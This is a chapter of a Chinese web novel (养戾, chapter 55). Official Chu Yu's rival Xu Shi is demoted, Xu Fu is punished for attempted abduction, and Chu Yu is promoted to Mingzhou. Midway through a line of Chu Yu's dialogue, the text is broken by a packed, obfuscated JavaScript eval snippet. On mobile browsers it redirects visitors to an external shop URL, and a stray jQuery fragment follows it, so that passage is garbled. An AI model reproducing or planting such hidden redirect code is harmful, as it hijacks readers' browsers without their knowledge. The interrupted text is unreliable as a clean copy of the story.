文趣网 > 其他小说 > 养戾 > 55. 升迁
    “如此说来,给厉王通风报信之人就是这个叫许石的。”谢闻韶说道。

    “不错,甚至他可能本就是厉王的人。”楚妤同他分析道。

    “听说那日他对你出言嘲讽,你们之间可是从前有什么恩怨?”

    “从前在观澜书院,他替黄立之子顶罪被我觉察揭发,许是因此记恨在心。”

    “简直荒谬。”谢闻韶满心愧疚,“若是我早些时候知道你还活着,断然不会让你受这般多的委屈。”

    “都是些小打小闹,人生哪有顺风顺水的。你并不欠我,不必一直为这些事感伤。”

    话虽如此,但谢闻韶始终心中憋闷,他早前便写了信,定要找那人好好算账。

    “我已让人快马加鞭将那个蠢货的书信送往京城,不等许石回京便会传的沸沸扬扬。”

    许富书读得不多,字也不怎么会写,故而信写的十分简单,只说让许石下令让明州知府放自己回去。

    但也无需他多说什么,在帝京的费青元早就进宫面圣弹劾许石仗势欺人,请皇帝为自己做主;与此同时,许石得势这些年家中亲戚狐假虎威干的混账事早在京中流传,不知怎的,许富意图让许石命令明州知府的书信也在京中传开。

    在谢知眉和许石刚进京时,许石便被传召。

    “混账东西!”

    皇帝将许富寄的书信朝许石丢去,书信轻薄,许石爬了几步才捡起书信拆开看了,顿时汗如雨下连连磕头。

    “陛下冤枉啊!微臣万万不敢命令谢大人做事啊!”

    “哦?不敢命令谢闻韶,便是敢命令其他地方官员?”

    许石磕头得更为卖力,“微臣绝无此意!请陛下明鉴!”

    他声泪俱下地哭诉这些年是如何兢兢业业为国为民,哭诉自己处处谨小慎微。

    “微臣的堂弟愚钝胆小,若是真犯了什么错事也定然是被小人蒙骗,写出这样一封信也定然是受人蛊惑!还请陛下明察!”

    “还敢狡辩!”皇帝震怒,“费爱卿早已同朕讲明实情,你做媒不成反倒纵容堂弟做出此等令人不齿之事,不仅伤了你们的同僚情谊,更是为人臣子的耻辱!”

    许石一惊,许富竟是直接对费星然来硬的,他脑袋是被门挤了吗?!他强调了多少次这事急不得,他会从中周旋让二人多接触,生出感情是迟早的事,谁料他还是做出这样的蠢事!

    “都是微臣对弟弟管教不周,臣愿意向费大人磕头谢罪!”

    皇帝居高临下地看着他的发顶,“光向费大人谢罪可不够,既然说要管教弟弟,那便回去管教吧。”

    许石被贬了,成了江州州同,从六品官。

    许富掳走良家女子强迫未遂,被判杖一百并流放三千里。

    费星然不安地说道:“妤姐姐,这样重的刑罚可符合律法?”

    楚妤点头,“自然,强迫女子是很严重的罪行。”旋即明白过来她为何如此发问,手指点了点她的脑袋,“想什么呢,我可不会公报私仇,这种事情自然是严格按照律法来,谢大人也不会因此对谁量刑畸轻畸重。”

    “我看还是太轻了!也就是那晚我不在,不然我非阉了他不可!”洛白愤然道。

    谢氏家大业大,自己还有药园,听说有很多奇珍异草,洛白厚着脸皮询问能否去看看,没想到被欣然应允,于是他也顺便要了一些药草种子。本来高高兴兴地回来,一回来就听说这件事又气得半死。

    楚妤赞同地点点头,片刻后想起自己的身份,轻咳了一声,“动用私刑易遭人诟病。”

    “只是......妤姐姐,我想起来许石是谁了。”费星然担忧地看着楚妤,“他怎么能这样?当初若非妤姐姐给了他一笔银两,他如何能继续求学乃至高中入仕?”

    “兴许是怨我害得他被逐出书院吧,毕竟若是没有我,他也不至于长途跋涉南下求学。”楚妤对此看得淡然。

    “他有错在先,不怨始作俑者却怨受害者,天底下哪有这样的道理?”江洵事先没听说过此事,此时才知道此人与楚妤究竟有何渊源。

    楚妤见他气得狠了,给他顺毛,“是呀,毕竟也不是谁都是阿宁,对不对?我这辈子做的最正确的事就是将你带回来。”

    江洵顿了顿,涩然别过头,“怎么又说起我了。”

    楚妤掰着手指算了算,“已经出来许久了,该回去了,不若明日就动身?”

    动身的日子刚敲定,升迁的消息也传来了。

    “明州通判?确认是升了不是又被贬了?”楚妤仔细看着咨文的每一个字,生怕自己眼花了。

    费星然问道:“还能继续贬?我还以为七品是最小的官了。”

    洛白手肘碰了碰她的手臂,低声道:“别说这种让楚姑娘难过的话,再小也是官啊。”

    楚妤:“......”得,连扎两刀。

    谢闻韶道:“你护住了昭王世子,揪出幕后之人,自然会赏。”

    “原来是因为这个,那王治身死一事是如何解决的?”毕竟上次嫌犯身死让她被贬,这回为何又不再追究。

    “昭王发疯实乃常事,事关皇家颜面,皇上不愿追究。”谢闻韶简明扼要地解释道。

    “可湓川刚刚安定,新任县令可有选定?选的何人?”楚妤还是放心不下湓川。

    “暂未,还是由你暂署湓川县事,待新任县令上任再交官印。”

    谢闻韶得知楚妤还是需留在湓川气不打一处来,这官升了与没升无甚两样,若非明州如今是他当事,等新县令上任楚妤再来明州赴任只有被排外这一个下场。

    楚妤倒是很高兴,“太好了,我本还担忧只有老魏一人镇不住。”

    谢闻韶无奈道:“怎的好赖都不分?”

    楚妤宽慰他道:“也不需要太久,没准明年就有比我更适合的人选来接任湓川。”

    “原先的那个人呢?”江洵突然问道。

    楚妤看向谢闻韶,“谢大哥可听说过冯思聿?他与我同年高中。”

    “本不认识,但他爹来了。”

    “今日来的?怎这样突然?”

    谢闻韶摇摇头,“诗会的时候就来了,我一直没见,今日说是上门来为你贺喜,我让人在前厅候着。”

    楚妤斟酌着开口,“如今厉王已将全部注意力都放在我身上,冯大人那边应该无人管了吧?”

    谢闻韶好气又好笑,“不然我何苦将你调来明州?你倒好,自己上赶着回湓川,早知如此,我就该直接替你回绝了才是。”

    楚妤赔笑听训,等谢闻韶出了门和江洵一道去见了谢父。

    谢府来回搓手,满怀希冀地看向楚妤的身后,除了一个俊美少年郎再无其他人。

    苍老的眼睛里是遮不住的失望,但看到楚妤还是诚心祝贺,“楚大人有能力、有学识,平步青云是迟早的事,这只是开始,好日子定然还在后头。”

    说着让随行下人拿出给楚妤准备的贺礼。

    楚妤推脱不掉还是收下了,道:“借冯老爷的吉言。只是如今湓川缺人得紧,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17975804|206963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不知冯兄可否能帮助一二?”

    “可他如今尚在狱中......”冯父迟疑许久继而大喜,“大人的意思是......?”

    楚妤点点头,“即便暂时无法恢复官身,有事可做也好过终日在家郁郁寡欢。”

    “是是是!大人所言极是!”冯父喜不自胜,恨不能立刻就回去动用关系将儿子接出来,即便楚妤多次示意让他先回去早日接儿子,他依旧是同楚妤聊了好一会儿。

    临走前,冯父眼睛弯得几乎看不见瞳仁,“楚大人好福气,如今官运亨通又有美人作伴,日子定然和和美美。老夫便不多留了,告辞。”

    他哼着小曲离开,独留楚妤在原地尴尬。

    江洵看着冯父离开的背影,问道:“是在说我吗?”

    楚妤强装镇定,“不是,冯老爷是高兴得语无伦次了。”

    “反正是好话,我心领了。”江洵接受良好,“虽然和他儿子没见过,但应该是个不错的人。”

    楚妤只想让他别乱认领,“你对人好恶的标准也太随意了些。”

    “有吗?”江洵并不认可她的话,“我们还是明日返程?”

    楚妤想了想,道:“过两日吧,我打算和明州的同僚先见见面,总是依仗谢大哥总归多有不妥。”

    “也好,我陪你。”

    费星然本打算回去看一看父母,却被楚妤告知他们夫妻二人出去游玩了,归期未知,气得费星然直跺脚。

    楚妤忍笑道:“这几日我不得空,只能洛公子陪着你,你是打算在明州逛逛还是回湓川?”

    费星然仔细想了想,“回湓川吧,反正过不了多久妤姐姐还要来明州赴任,日后机会多的是,我回去看看有没有哪里需要我帮忙。”

    楚妤摸了摸她的发顶,“天底下最懂事乖巧的妹妹莫过于此了。”

    费星然被夸,尾巴简直要翘上天,恨不能现在就飞回湓川犁二里地。

    洛白及时制止她的冲动,“犁地暂时还用不上你,省点力气帮我种草药。”

    “带回湓川真能种活吗?”费星然表示怀疑。

    “种不活也无妨,这是谢家祖父说回头再找他要便是。”

    楚妤扬眉,“可以啊,来了这几天,竟是连谢家祖父相熟了。”

    洛白不无神气地理理衣冠,“本神医出马,一个顶俩。谢四小姐说祖父身体不适已久,我问了症状后开了新的药方,老人家现在走上三里地也不喘,对我自然青睐有加。”

    “没有说想请你当谢府的大夫?”楚妤问道。

    “说了,我拒绝了。”洛白回答的自然,丝毫没有为自己的选择感到遗憾。

    费星然很是艳羡他这样洒脱的心态,她当初一时负气离家出走,却接连碰壁,如今虽仍向往四处游历仗义天涯,但总有些畏惧,没了当初的一时冲动也没了勇气,迈不出第一步。

    费星然和洛白回湓川后,谢闻韶将宴席设在游船上,既能赏景也能用膳。

    江洵看得新鲜,“湓川也有湖,不见这样的宴席。”

    楚妤解释道:“匪患根除前百姓温饱都是问题,哪里会有这样的闲情雅致泛舟赏景。”

    “如此千差万别的两个地方竟是相距不远。”

    “是啊,不过我相信终有一日湓川百姓也能过上这样的日子。”

    远远地,楚妤看到了有零星同僚到了地方,她不见谢闻韶的身影有些局促,深吸了一口气后,道:“一个人也不认识,要不先等谢大哥来了再一同入座罢?”